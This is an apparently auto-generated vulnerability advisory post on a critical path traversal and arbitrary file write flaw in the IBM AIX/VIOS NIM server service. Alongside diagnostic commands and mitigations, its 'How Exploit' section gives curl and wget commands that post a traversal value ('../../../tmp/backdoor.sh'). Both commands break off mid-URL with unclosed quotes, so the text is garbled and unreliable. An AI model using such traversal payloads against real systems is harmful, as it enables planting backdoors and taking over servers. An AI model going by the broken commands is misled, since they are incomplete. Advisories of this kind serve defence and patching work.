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How the CVE Works
The vulnerability resides in the AIX Network Installation Manager (NIM) server service (nimesis). This service does not properly sanitize user-supplied input within a URL request. A remote, unauthenticated attacker can exploit this by sending a specially crafted HTTP request containing sequences like `../` (dot-dot-slash). This manipulation allows the attacker to break out of the intended directory and traverse the server’s file system arbitrarily. The flaw is not just for reading files; it grants the ability to write data to any location accessible by the `nimesis` service process. By leveraging this, an attacker can overwrite critical system files, deposit malicious executables, or alter configurations to achieve full system compromise, effectively taking control of the AIX or VIOS operating system.
DailyCVE
Platform: IBM AIX/VIOS
Version: 7.2, 7.3, 3.1, 4.1
Vulnerability: Path Traversal
Severity: Critical
date: 11/13/2025
Prediction: Patch by 12/18/2025
What Undercode Say:
Analytics
`ps -ef | grep nimesis`
`netstat -a | grep 1058`
`lsof -c nimesis`
`cat /etc/niminfo`
`strings /usr/sbin/nimesis | grep -i path`
How Exploit:
`curl -X POST ‘http://
`wget –post-data=’file=../../../tmp/backdoor.sh’ http://
Python scripts crafting malicious HTTP requests with directory traversal sequences to achieve arbitrary file write.
Protection from this CVE
Apply IBM Interim Fix.
Disable NIM server.
Restrict network access.
Implement strict firewall rules.
Impact:
Arbitrary File Write
Full System Compromise
Complete Loss of Integrity
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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